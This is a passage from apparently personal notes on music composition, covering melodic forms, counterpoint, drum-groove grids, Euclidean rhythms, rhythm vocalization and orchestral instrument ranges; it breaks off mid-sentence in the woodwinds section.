                    <h5 id="suggested-process">Suggested process</h5>
                    <ul>
                    <li>Start with CF on 4/4 with strong beats on 1 and
                    3.</li>
                    <li>Add half notes starting on each strong beat to
                    create a CP line draft, focusing on maintaining
                    consonant intervals on notes that start at the same
                    time. Keep an eye out for possible motifs.</li>
                    <li>Embellish the draft by adding notes without
                    worring about consonance or dissonance so long as
                    the starting point of consonant intervals don’t
                    change and any time we add a note starting at the
                    same time as another in the CF make sure they form a
                    consonant interval.</li>
                    <li>Focus on “sounding good” instead of the academic
                    approach (e.g. forbiding P5 parallel
                    movements).</li>
                    </ul>
                    <h3 id="the-period-form">The period form</h3>
                    <p>The “period form” is typically an 8-bar form. The
                    first two bars have a basic idea, the next two bars
                    have a contrasting idea, the next two restate the
                    basic idea and it closes with a 2 bar cadence.</p>
                    <p>Typically the basic idea is harmonically stable,
                    preferring the “tonic”. The contrasting idea could
                    be a response to the basic idea, or a variation of
                    it. The contrasting idea should feel unresolved (the
                    first 4 bars really) and feel like a question, which
                    will be answered by the final half of the piece.
                    When repeating the basic idea, we can add some
                    variation, but ideally the beginning should stay the
                    same or be similar. The cadence should feel like a
                    strong sign of punctuation and the form should feel
                    like we are ready for a repetition or something new.
                    The cadence should generally do the opposite as the
                    contrasting idea, for example if the contrast ended
                    on a V we want to have a I chord, or the other way
                    around.</p>
                    <h3 id="the-sentence-form">The sentence form</h3>
                    <p>The “sentence form” is an 8-bar form. Starts with
                    a 2 bar basic idea, which is repeated in the next 2,
                    with or without variation. Bars 5-6 are called the
                    “continuation” and the last 2 bars is a cadence. The
                    continuation have more movement, more notes, more
                    pitch height, more harmonic rhythm, etc. Very
                    similar to the period form, but where the period
                    form feels more stable, the sentence form can help
                    add movement and momentum to a piece.</p>
                    <h3 id="the-reps-method">The REPS method</h3>
                    <ul>
                    <li>(R)epetition at the beginning or the end.
                    Repetition at the end almost always work, specially
                    when creating decepting cadences. Repetition at the
                    start works, but we must be careful not to make
                    things dull, for example we can echo other voices in
                    a call-response way.</li>
                    <li>(E)xtend motives and ideas. Works well in all
                    sections, but specially on the middle section.</li>
                    <li>(P)ause. Wait on a silence for longer, for
                    example an extra bar or so. At the beginning could
                    be done by false starts also, where the melody takes
                    a couple of tries before getting started. At the
                    ending, but could be done before we start a final
                    cadence. We can also do it at the end by extending
                    the final bar into multiple ones, building suspense
                    on the cadence. At the middle, pausing can be
                    detrimental, as it stops the development
                    momentum.</li>
                    <li>(S)tudy other pieces or music and see how are
                    they doing things and try to use these ideas in your
                    own composition.</li>
                    </ul>
                    <h3 id="a-melodic-skeleton">A melodic skeleton</h3>
                    <p>A melodic skeleton can be used as a cantus firmus
                    or a base to build a melody by adding rhythm,
                    variations and adornments.</p>
                    <ol type="1">
                    <li>Choose an opening pitch from the I chord.
                    Furthermore we can choose the root, third or fifth
                    of the I chord. For example C major, we can start
                    with C, E or G.</li>
                    <li>Choose a melodic cadence (last two notes).
                    Typically 2-1 or 7-8. In C major, D to C or B to
                    C.</li>
                    <li>Draw the contour of your melody, i.e. the peaks
                    and valleys or high/low notes in our melody. Nothing
                    specific, just vibes.</li>
                    <li>Write following the contour.
                    <ul>
                    <li>Aim for a line length of 9-14 notes adding 4-5
                    notes at a time. This is to avoid the melody to feel
                    disjointed.</li>
                    <li>Balance steps and leaps.</li>
                    <li>Prepare your wide leaps by either leaping up and
                    resolving down (B A E) or steping down and then
                    leaping up (A E D).</li>
                    <li>Avoid tritone jumps or line of straight notes
                    that end in the tritone (F# G A B C).</li>
                    <li>Make sure you don’t use the same tone more than
                    3 times in the whole line.</li>
                    <li>The line shouldn’t reach the highest (apogee)
                    and lowest (perigee) point more than once.</li>
                    <li>Try not to approach the apogee by a leap, but it
                    is ok for perigee.</li>
                    </ul></li>
                    </ol>
                    <h3 id="resources-1">Resources</h3>
                    <ul>
                    <li><a href="https://youtu.be/5m_M6DMHnKo">Melody
                    for Composers Series</a></li>
                    <li><a href="https://youtu.be/0oI2iFrzA0o">How To
                    Use NEGATIVE MELODY To Write Beautiful Music
                    [Negative Harmony]</a></li>
                    <li><a href="https://youtu.be/jdkYi6mhVyQ">A
                    counterpoint crash course in 17 minutes</a></li>
                    <li><a href="https://youtu.be/b5PoTBOj7Xc">How to
                    Compose 1:1 Counterpoint || Tonal Voice Leading
                    1</a></li>
                    <li><a href="https://youtu.be/sU3-4NdQSA4">How to
                    write longer music with the REPS method</a></li>
                    <li><a href="https://youtu.be/Z8uYdzU_ZR8">How to
                    write a melody 1: Period</a></li>
                    <li><a href="https://youtu.be/ucNWbawSiZM">Sentence
                    form in music composition</a></li>
                    <li><a
                    href="https://youtu.be/r_RbmbBmX9E">Counterpoint
                    made simple</a></li>
                    <li><a href="https://youtu.be/5XSMAkhuWPI">This
                    Skeleton Can Write a Better Melody Than You</a></li>
                    </ul>
                    <h2 id="rhythm">Rhythm</h2>
                    <p>Rhythm should vary across sections of a song, but
                    keeping the general groove. Fills are used to bridge
                    sections or phrases and add extra flavor to the
                    percussion. Here are some common rhythmic grooves
                    and ideas in different styles.</p>
                    <h3 id="four-on-the-floor">Four on the floor</h3>
                    <pre><code>            BEAT
INSTRUMENT |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK       |x| | | | | | | |x| | | | | | | |x| | | | | | | |x| | | | | | | |
SNARE      | | | | |x| | | | | | | |x| | | | | | | |x| | | | | | | |x| | | |
HH-C       | | |x| | | |x| | | |x| | | |x| | | |x| | | |x| | | |x| | | | | |
HH-O       | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |x| |</code></pre>
                    <h3 id="the-trap-beat">The trap beat</h3>
                    <pre><code>            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| | | | | | | | |x| | | | | | | | |x| | | | | | | | | | | |x| | | | | | | | | | | | | | | | | |
SNARE       | | | | | | | | | | | | |x| | | | | | | | | | | | | | | | | | | | | | | |x| | | | | | | | | | | |
HH-C        |x| | |x| | |x| | |x|x|x| | | |x| | |x| | |x| | |x| | |x| | |x| | |x| | |x| | |x| | |x| | |x| | |</code></pre>
                    <h3 id="bo-diddley-beat">Bo diddley beat</h3>
                    <pre><code>            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| | | |x| | | |x| | | |x| | | |x| | | |x| | | |x| | | |x| | | |x| | |x| |x| | | |x| | |x| | | |
SNARE       | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |x|x| | |x| | | |x| | | |x| | | |x| |
TOM-M       |x| | |x| | |x| | | |x| |x| | | |x| | |x| | |x| | | |x| |x| | | | | | | | | | | | | | | | | | | |
TOM-L       | |x|x| |x|x| |x|x|x| |x| |x|x|x| |x|x| |x|x| |x|x|x| |x| |x| | | | | | | | | | | | | | | | | | |
HH-C        | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |x| |x| |x| |x| |x| |x| |x| |x| |</code></pre>
                    <h3 id="boom-bap">Boom bap</h3>
                    <pre><code>            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x|x| | | | | | |x|x| |x| | | | |x|x| | | | | | |x|x| |x| | | | |
SNARE       | | | | |x| | |x| | | | |x| | |x| | | | |x| | |x| | | | |x| | |x|
HH-C        |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |</code></pre>
                    <h3 id="impeach-the-president">Impeach the
                    president</h3>
                    <pre><code>            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| | | | | | |x|x| |x| | | |x| |
SNARE       | | | | |x| | | | | | | |x| | | |
HH-C        |x| |x| |x| |x|x|x| | | |x| |x| |
HH-O        | | | | | | | | | | |x| | | | | |</code></pre>
                    <h3 id="iconic-8ths">Iconic 8ths</h3>
                    <pre><code>            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| | | | | | | | | |x| | | | | |
SNARE       | | | | |x| | | | | | | |x| | | |
HH-C        |x| |x| |x| |x| |x| |x| |x| |x| |</code></pre>
                    <h3 id="feel">12/8 Feel</h3>
                    <pre><code>            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
RIDE        |x| | | | | | | | | | |x|x| | | | | | | | | |x| |x| | | | | | | | |x|x| |x| | | | |x| | | | | |x|
SNARE       | | | | | | |x| | | | | | | | | | | |x| | | | | | | | | | | |x| | | | | | | | | | | |x| | | | | |
RIDE        |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |</code></pre>
                    <h3 id="shuffle">Shuffle</h3>
                    <pre><code>            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
TOM-L       |x| |x| | | | | |x| |x| | | |x| |
SNARE       | | | | |x| |x| | | | | |x| | | |
HH-C        | | | | |x| | | | | | | |x| | | |</code></pre>
                    <h3 id="swing">Swing</h3>
                    <pre><code>            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
HH-F        | | | | |x| | | | | | | |x| | | |
RIDE        |x| | | |x| | |x|x| | | |x| | |x|</code></pre>
                    <h3 id="motown">Motown</h3>
                    <pre><code>            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| | | | | | | | | |x| | | |x| |
SNARE       |x| | | |x| | | |x| | | |x| | | |
HH-C        |x| |x| |x| |x| |x| |x| |x| |x| |</code></pre>
                    <h3 id="metal-straight-16th">Metal (Straight
                    16th)</h3>
                    <pre><code>            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x|x|x|x|x|x|x|x|x|x|x|x|x|x|x|x|
SNARE       | | | | |x| | | | | | | |x| | | |
HH-C        |x| | | |x| | | |x| | | |x| | | |</code></pre>
                    <h3 id="bossa">Bossa</h3>
                    <pre><code>            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| | | | | |x| |x| | | | | |x| |x| | | | | |x| |x| | | | | |x| |
CLAVE       |x| | | | | |x| | | | | |x| | | | | | | |x| | | | | |x| | | | | |
HH-C        |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |x| |</code></pre>
                    <pre><code>            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| | |x|x| | |x|x| | |x|x| | |x|
RIMSHOT     |x| | |x| | |x| | | |x| | |x| | |
RIDE        |x|x|x|x|x|x|x|x|x|x|x|x|x|x|x|x|</code></pre>
                    <h3 id="disco">Disco</h3>
                    <pre><code>            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| | | |x| | | |x| | | |x| | | |
CLAPS       | | | | |x| | | | | | | |x| | | |
HH-O        | | |x| | | |x| | | |x| | | |x| |</code></pre>
                    <h3 id="levee-break">Levee Break</h3>
                    <pre><code>            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x|x| | | | | |x| | |x|x| | | | |
SNARE       | | | | |x| | | | | | | |x| | | |
HH-C        |x| |x| |x| |x| |x| |x| |x| |x| |</code></pre>
                    <h3 id="the-funky-drummer">The funky drummer</h3>
                    <pre><code>            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| |x| | | | | | | |x| | |x| | |
SNARE       | | | | |x| | |x| |x| |x|x| | |x|
HH-C        |x| |x| |x| |x| |x| |x| |x| |x| |
HH-O        | | | | | | | |x| | | | | |x| | |</code></pre>
                    <h3 id="son-clave">Son clave</h3>
                    <pre><code>            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| | |x|x| | |x|x| | |x|x| | |x|
RIMSHOT     |x| | |x| | |x| | | |x| |x| | | |
RIDE        |x|x|x|x|x|x|x|x|x|x|x|x|x|x|x|x|</code></pre>
                    <h3 id="mardi-gras">Mardi gras</h3>
                    <pre><code>            BEAT
INSTRUMENT  |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
KICK        |x| | | | | | | | | |x| | |x| | |
SNARE       | | | | |x| | | | |x| | | | | | |
HH-C        |x| |x| |x| |x|x|x| |x| |x| |x|x|
BELL-H      |x| |x| | |x| | | |x| | |x| | | |
BELL-L      | | | | |x| | |x| | |x| | |x| |x|</code></pre>
                    <h3 id="polyrhythms-vs-polymeters">Polyrhythms vs
                    polymeters</h3>
                    <p>A polymeter is when we have multiple sequences of
                    different lengths playing together at the same
                    pulse. For example a 4 note sequence and a 5 note
                    sequence, all quarter notes. Since they have
                    different lengths, they will eventually sync up
                    after a number of repetitions.</p>
                    <p>A polyrhythm is when we have two different
                    sequences of different durations (though evenly
                    spaced) but that they both take the same amount of
                    time, thus are synced on the 1st beat. For example a
                    quintuplet and a triplet playing at the same time
                    will both take the same amount of time to complete.
                    Naturally the quintuplet notes will play faster. The
                    most common ones are 3:2 and 4:3 polyrhythms.</p>
                    <h3 id="euclidean-rhythms">Euclidean rhythms</h3>
                    <p>Euclidean rhythms come from the idea of
                    distributing K beats into a measure of N beats as
                    evenly as possible. The terminology is typically
                    written as <code>E(K,N,R)</code> where R is the
                    rotation of the pattern. For example a
                    four-in-the-floor beat could be noted as
                    E(4,16,0):</p>
                    <pre><code>E(4,16,0) = [x...x...x...x...]
E(4,16,1) = [...x...x...x...x]
E(4,16,2) = [..x...x...x...x.]
...</code></pre>
                    <p>Depending on the length of the note that we use
                    for each beat, common divisors are equivalent. If
                    instead of 1/8 notes per beat we use 1/4:</p>
                    <pre><code>E(4,8,0) = [x.x.x.x.]</code></pre>
                    <p>To generate interesting patterns, it is often
                    preferable to use patterns in which K doesn’t divide
                    by N, such as E(5,8) or E(9,16). The fun of these
                    types of patterns it to combine multiple
                    combinations of rhythms for different instruments,
                    creating groovy polyrhythms. They are not limited to
                    percussive elements and can be used in tonal leads
                    and bass elements. They are very fun to use in
                    generative music or as a compositional tool.</p>
                    <p>A lot of world music’s rhythms can be described
                    in terms of Euclidean rhythms patterns. Below you
                    can see a reference of different patterns and how
                    they relate to music from different cultures. Not
                    including rotations for simplicity.</p>
                    <pre><code>             |0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|
E(2,5,0)     |x| |x| | |                         Khafif-e-ramal, Thaikovsky (Symphony No. 6), Brubeck (Take Five)
E(3,5,0)     |x| |x| |x|                         Rumanian folk-dance
E(5,6,0)     |x| |x|x|x|x|                       York-Samai
E(3,7,0)     |x| |x| |x| | |                     Ruchenitza, Pink Floyd (Money)
E(4,7,0)     |x| |x| |x| |x|                     Ruchenitza
E(5,7,0)     |x| |x|x| |x|x|                     Nawakhat
E(3,8,0)     |x| | |x| | |x| |                   Cuban tresillo
E(5,8,0)     |x| | |x|x| |x|x|                   Cuban cinquillo, Spanish tango, Al-saghilal-sani
E(7,8,0)     |x| |x|x|x|x|x|x|                   Tuareg rhythm in Libya
E(4,9,0)     |x| |x| |x| |x| | |                 Aksak, Brubeck (Rondo a la Turk)
E(5,9,0)     |x| |x| |x| |x| |x|                 Agsag-Samai
E(4,11,0)    |x| | |x| | |x| | |x| |             Zappa (Outside Now)
E(5,11,0)    |x| |x| |x| |x| |x| | |             Mussorgsky (Pictures at an Exhibition)
E(4,12,0)    |x| | |x| | |x| | |x| | |           Flamenco clapping (Fandango)
E(5,12,0)    |x| | |x| |x| | |x| |x| |           Venda clapping
E(7,12,0)    |x| |x|x| |x| |x|x| |x| |           West African bells
E(4,16,0)    |x| | | |x| | | |x| | | |x| | | |   Four in the floor
E(5,16,0)    |x| | |x| | |x| | |x| | |x| | | |   Bossa Nova
E(7,16,0)    |x| | |x| |x| |x| | |x| |x| |x| |   Samba, Clapping from Ghana
E(9,16,0)    |x| |x|x| |x| |x| |x|x| |x| |x| |   Samba, bells from Central African Republic</code></pre>
                    <h3 id="konnakoltakadimi">Konnakol/Takadimi</h3>
                    <p>Sometimes is useful to learn to vocalize complex
                    rhytms. The takadimi system can help with that. In
                    essence, we use combinations of single syllables to
                    denote beat divisions. Note that the takadimi system
                    is the western interpretation of the <a
                    href="https://en.wikipedia.org/wiki/Konnakol">Konnakol</a>.</p>
                    <h4 id="konnakol">Konnakol</h4>
                    <p>From <a
                    href="https://en.wikipedia.org/wiki/Konnakol">the
                    Wikipedia</a>:</p>
                    <ul>
                    <li>2 subdivisions (Chatusra 1/2 Speed): Tha Ka</li>
                    <li>3 subdivisions (Tisra): Tha Ki Ta</li>
                    <li>4 subdivisions (Chatusra): Tha Ka Dhi Mi</li>
                    <li>5 subdivisions (Khanda): Tha Dhi Gi Na Thom</li>
                    <li>6 subdivisions (Tisra Double Speed): Tha Ka Dhi
                    Mi Tha Ka</li>
                    <li>7 subdivisions (Misra): Tha Ka Di Mi Tha Ki
                    Ta</li>
                    <li>8 subdivisions (Chatusra Double Speed): Tha Ka
                    Dhi Mi Tha Ka Jho Nu</li>
                    <li>9 subdivisions (Sankirna): Tha Ka Dhi Mi Ta Dhi
                    Gi Na Thom</li>
                    <li>10 subdivisions (Khanda Double Speed): Tha Ka
                    Tha Ki Ta Tha Dhi Gi Na Thom, or Tha Ki Ta Dhim†2
                    Tha Dhi Gi Na Thom</li>
                    </ul>
                    <h4 id="takadimi">Takadimi</h4>
                    <ul>
                    <li>Ta: 1/4 note</li>
                    <li>TaDi: 2 1/8 notes</li>
                    <li>TaKaDiMi: 4 1/16 notes</li>
                    <li>TaKiDa: 1/4 triplets</li>
                    <li>TaKaDiMiTi: quintuplet</li>
                    <li>TaVaKiDiDaMaTi: septuplet</li>
                    </ul>
                    <p>More complex rhythms can be seen as a combination
                    of these.</p>
                    <h3 id="resources-2">Resources</h3>
                    <ul>
                    <li><a
                    href="https://www.youtube.com/watch?v=FoMmVlAvjmM">How
                    to write drum parts (for non drummers)</a></li>
                    <li><a href="https://youtu.be/c7ffMObdxro">10
                    Popular Drum Patterns Every Producer Should
                    Know</a></li>
                    <li><a
                    href="https://youtu.be/htbRx2jgF-E">Polyrhythms vs
                    polymeters</a></li>
                    <li><a
                    href="http://cgm.cs.mcgill.ca/~godfried/publications/banff.pdf">Euclidean
                    Rhythms paper (Godfried Toussaint)</a></li>
                    <li><a href="https://youtu.be/bKazVnHh2w4">Digging
                    in to Euclidean Rhythms (Sound + Voltage)</a></li>
                    <li><a
                    href="https://www.takadimi.net/documents/Takadimi%20short%20guide%20for%20Web.pdf">Takadimi
                    short guide</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=2mzzCmtcorg">Vocalize
                    your rhythms to internalize them</a></li>
                    </ul>
                    <h2 id="orchestration">Orchestration</h2>
                    <p>In a modern orchestral setting, we have 4 main
                    sections of instruments:</p>
                    <ul>
                    <li>Strings: Violin, viola, chello, bass, etc.</li>
                    <li>Brass: French horn, trumpet, trombone, tuba,
                    etc.</li>
                    <li>Woodwinds: Flutes, single reeds, double
                    reeds.</li>
                    <li>Percussion: Idiophones, membranophones,
                    aerophones, chordophones.</li>
                    </ul>
                    <p>Of course, we can also make use of modern devices
                    like synths and treat them accordingly. These
                    knowledge transfers regardless of available
                    instruments.</p>
                    <p>We also divide orchestral music into the
                    following building blocks:</p>
                    <ul>
                    <li>Melody: The general tune/shape of the music.
                    Typically belongs to the foreground material, which
                    is content that is the most important for the
                    listener to pay attention to.</li>
                    <li>Harmony: Typically is background material that
                    creates the sonic texture of our piece. Includes the
                    harmonic bed (chord progression), harmonic
                    foundation (bass line), harmonic voicing
                    (melody-like harmony) and comping (Provides harmony
                    as well as rhythm).</li>
                    <li>Countermelody: Floats between background and
                    foreground whenever is needed. It is sometimes
                    called a “mid ground”.</li>
                    </ul>
                    <p>In general we want to avoid mixing foreground and
                    background material, otherwise the music will sound
                    directionless. We can follow two guidelines for
                    this:</p>
                    <ol type="1">
                    <li>Foreground material should be performed in a
                    strong/appropriate register for the instruments
                    performing them.
                    <ul>
                    <li>Depends on which instrument we are using. This
                    means the range where the instrument has the most
                    power and can be heard the easiest.</li>
                    <li>We need to be deliberate about our instrument
                    choices.</li>
                    </ul></li>
                    <li>Pay attention to differentiating the foreground
                    and background material with the PDART method:
                    <ul>
                    <li>Pitch: Separate foreground/background by placing
                    them in different pitch registers. Traditionally,
                    melody in higher register than harmony.</li>
                    <li>Dynamics: Foreground should be louder than
                    background on average. We can play around with this
                    but must be deliberate.</li>
                    <li>Articulation: For example, melody can be
                    staccato and background legato. Not so important
                    compared with the previous two, but still worth
                    considering.</li>
                    <li>Rhythm: Foreground and background should make
                    use of different rhythms.</li>
                    <li>Tone color: We want our background/foreground to
                    use different tone colors/sound qualities. Examples:
                    <ul>
                    <li>Using strings for foreground and brass for
                    background.</li>
                    <li>Muted strings in background, unmuted in
                    foreground.</li>
                    <li>String section in background, solo player in
                    foreground.</li>
                    <li>Pizzicato strings in background, bowed in
                    foreground.</li>
                    </ul></li>
                    </ul></li>
                    </ol>
                    <h3 id="voicings-and-note-priority">Voicings and
                    note priority</h3>
                    <p>There are many ways of arranging/voicing chords,
                    but because of the overtone series, it tends to
                    sound better to have open voicings in the lower
                    registers and close voicings in the upper registers.
                    This would improve clarity, but if we want to make
                    our music sound muddy that is also ok! In any case,
                    the open voicings in the lower registers is almost
                    always used, but the closed voicings in the upper
                    registers is more of a suggestion.</p>
                    <p>We can use the 1537 rule for reinforcing
                    (doubling) different notes of a chord. In other
                    words, doubling the root or fifth of a chord will be
                    more clear than doubling the thirds or 7ths
                    intervals. For 1st inversion chords, we can avoid
                    using the 3rd in upper voices, since it is already
                    in the bassline.</p>
                    <h3 id="strings">Strings</h3>
                    <p>The largest section of the orchestra. It is not
                    uncommon for half the players in an orchestra to be
                    in the string section. All of these instruments
                    sound very similar and a variety of techniques are
                    available to obtain different sounds. They can do
                    melody, harmony, rhythm and texture and obtain a
                    variety of dynamics from very soft (ppp) to very
                    loud (fff).</p>
                    <p>They all have 4 strings and are tuned to a
                    different fundamental pitch. Because of the fretless
                    nature of these instruments, when playing solo
                    instruments it is more difficult to perceive the
                    discrepancies in tuning. Conversly, if we have 2
                    instruments playing exactly the same part it may be
                    a bit jarring, but the more instruments we add this
                    difference gets averaged by the human ear. The
                    string section have 4 different instruments and
                    organized in 5 sections:</p>
                    <ul>
                    <li>Violin (I &amp; II)
                    <ul>
                    <li>Tuning: G3, D4, A5, E5</li>
                    <li>Range:
                    <ul>
                    <li>Violin section: G3-E7</li>
                    <li>Violin solo: G3-B8</li>
                    <li>Pizzicato range: G3-E6</li>
                    </ul></li>
                    <li>Great for melodies, but consider:
                    <ul>
                    <li>E5+ is good for any melodic line.</li>
                    <li>E5- is best for quieter moments.</li>
                    </ul></li>
                    </ul></li>
                    <li>Viola
                    <ul>
                    <li>Tuning: C3, G3, D4, A5</li>
                    <li>Range: C3-A7</li>
                    <li>Good for solos, melodies and countermelodies.
                    Best on:
                    <ul>
                    <li>C3-C4 (lowest octave) is the most
                    ideomatic.</li>
                    <li>C5+ has the greatest carry power</li>
                    </ul></li>
                    </ul></li>
                    <li>Cello
                    <ul>
                    <li>Tuning: C2, G2, D3, A4</li>
                    <li>Range: C2-G5</li>
                    <li>Versatile, both for lower ranges and higher
                    ones.</li>
                    <li>For melodies:
                    <ul>
                    <li>E4+ ideomatic.</li>
                    <li>E4- possible but depends on the rest of the
                    orchestration.</li>
                    </ul></li>
                    </ul></li>
                    <li>Double bass
                    <ul>
                    <li>Tuning: E1, A2, D2, G2</li>
                    <li>Range: C1-Bb4</li>
                    <li>Used for bass lines and foundational harmonies.
                    Melodies are possible specially when doubled with
                    tuba and contrabassoon (unison) and cello and
                    bassoon (one octave above).</li>
                    </ul></li>
                    </ul>
                    <p>We generally write for strings using 4-part/SATB
                    writing. As follows:</p>
                    <ul>
                    <li>Instruments
                    <ul>
                    <li>Soprano: 1st violin.</li>
                    <li>Alto: 2nd violin.</li>
                    <li>Tenor: Viola.</li>
                    <li>Bass: Cello and double bass in octaves.</li>
                    </ul></li>
                    <li>Default process
                    <ul>
                    <li>Asign melody to one of the voices (typically
                    soprano)</li>
                    <li>Write bass line in the bass voices.</li>
                    <li>Assign remain chord tones to the alto and tenor
                    voices, trying to avoid as much movement as
                    possible.</li>
                    </ul></li>
                    <li>Harmonic voicing process
                    <ul>
                    <li>Asign melody to one of the voices (typically
                    soprano)</li>
                    <li>Write bass line for the double bass.</li>
                    <li>Treat the cello, viola and violin II their own
                    independent lines.
                    <ul>
                    <li>Stick to chord tones as much as possible.</li>
                    <li>Create variations of the full chord between the
                    three voices and the bass line as much as
                    possible.</li>
                    <li>Use as much repetition in each voice as
                    possible.</li>
                    </ul></li>
                    </ul></li>
                    </ul>
                    <p>Note that string instruments can play chords,
                    typically as double stops (or succession of 2 double
                    stops). We need to account for real instruments for
                    this, so each note in a chord must be performed in
                    its own string and within reach of human hands. You
                    can use a guitar or a grid controller in note mode
                    to check the possibility.</p>
                    <p>We also can divide the string section in equally
                    sized groups and have more voices by playing
                    “divisi”. This means for example that half of the
                    violas will play a “C” and the other half a “G”.
                    This of course, makes the sound quieter, since there
                    are less players playing the same note.</p>
                    <h3 id="brass">Brass</h3>
                    <p>Brass are wind instruments. Traditionally
                    consists of (but is not limited to):</p>
                    <ul>
                    <li>4 horns</li>
                    <li>3 trumpets</li>
                    <li>3 trombones</li>
                    <li>1 tuba</li>
                    </ul>
                    <p>Organized in 3 sub-sections that will split their
                    roles between harmony, melody and bass:</p>
                    <ul>
                    <li>Trumpets &amp; trombones</li>
                    <li>Horns</li>
                    <li>Tuba</li>
                    </ul>
                    <p>These instruments are less homogeneous than the
                    strings. Each instrument have different sonic
                    qualities. Brass instruments are quite strong
                    sounding both in volume and power. They are
                    consturcted with various lengths of metal tubing, a
                    mouthpiece and valves/slides to control the length
                    of the tubing. Because of their construction and
                    usage we need to consider the following
                    guidelines:</p>
                    <ol type="1">
                    <li>Higher pitches will be generally louder.</li>
                    <li>Volume can and will change the tone color.</li>
                    <li>Higher/louder pitches are more demanding to
                    produce than lower/quieter ones. We need to account
                    for the stamina of the performers.</li>
                    </ol>
                    <p>In terms of harmony consider that for brass open
                    voicings in upper registers create more ambience and
                    presence, whereas close voicengs have more power.
                    Commonly, tubas where handle bass and
                    trombones/horns the chords. Brass can help provide a
                    sense of growth and climax.</p>
                    <ul>
                    <li>Horn (in F)
                    <ul>
                    <li>Versatile instrument. Blends well with
                    woodwinds.</li>
                    <li>The sound it produces will sound a perfect fifth
                    lower than the note it was written.</li>
                    <li>Range:
                    <ul>
                    <li>Sounding range: B2-F5</li>
                    <li>Written range: F#2-C6</li>
                    <li>Melodic range: F3-C5</li>
                    </ul></li>
                    </ul></li>
                    <li>Trumpet (in C or Bb)
                    <ul>
                    <li>The soprano instrument of the brass family</li>
                    <li>Range:
                    <ul>
                    <li>Sounding range (Bb): E3-Bb6</li>
                    <li>Written range (both): F#3-C6</li>
                    </ul></li>
                    </ul></li>
                    <li>Trombone (Tenor and Bass)
                    <ul>
                    <li>The tenor/bass instrument of the brass
                    family.</li>
                    <li>The bass tenor often doubles or replaces the
                    tuba.</li>
                    <li>Closely related to the trumpet.</li>
                    <li>Range:
                    <ul>
                    <li>Sounding range: E2-Bb5 (tenor) Bb2-D4
                    (bass)</li>
                    </ul></li>
                    </ul></li>
                    <li>Tuba
                    <ul>
                    <li>Lowest sounding brass instrument.</li>
                    <li>They mainly provide the bass line.</li>
                    <li>Range: Bb1-D4</li>
                    </ul></li>
                    </ul>
                    <h3 id="woodwinds">Woodwinds</h3>
                    <p>It is the least powerful section of the
                    orchestra, but it has available a wide variety of
                    tone colors and timbre. In terms of tone colors we
                    encounter the sub-sections of:</p>
                    <ul>
                    <li>Flutes
                    <ul>
                    <li>Woodwinds that don’t have a wooden reed in the
                    mouth piece. Piccolos and flutes are the most
                    common.</li>
                    <li>Most powerful in their higher registers.</li>
                    <li>Piccolo:
                    <ul>
                    <li>Range:
                    <ul>
                    <li>Sounding range: D5-C8</li>
                    <li>Written range: D4-C7</li>
                    </ul></li>
                    <li>Different tone colors:
                    <ul>
                    <li>High register is piercing, requires a lot of
                    stamina and can be easily heard. Best in strategic
                    bursts.</li>
                    <li>Middle register is strong, bright and
                    clear.</li>
                    <li>Low registers are haunting and intimate, best
                    for quiet moments and doubling other instruments for
                    color.</li>
                    </ul></li>
                    </ul></li>
                    <li>Flute:
                    <ul>
                    <li>Range: (B4) C4-D7</li>
                    <li>Different tone colors:
                    <ul>
                    <li>High register is piercing, requires a lot of
                    stamina and can be easily heard. Best in strategic
                    bursts.</li>
                    <li>Middle register is sweet, bright and lyrical,
                    best for melodies.</li>
                    <li>Low registers are rich and beautiful, best for
                    intimate moments.</li>
                    </ul></li>
                    </ul></li>
                    </ul></li>
                    <li>Single-reeds
                    <ul>
                    <li>Use a single wooden reed in the mouth piece. In
                    an orchestra, normally only clarinets (but
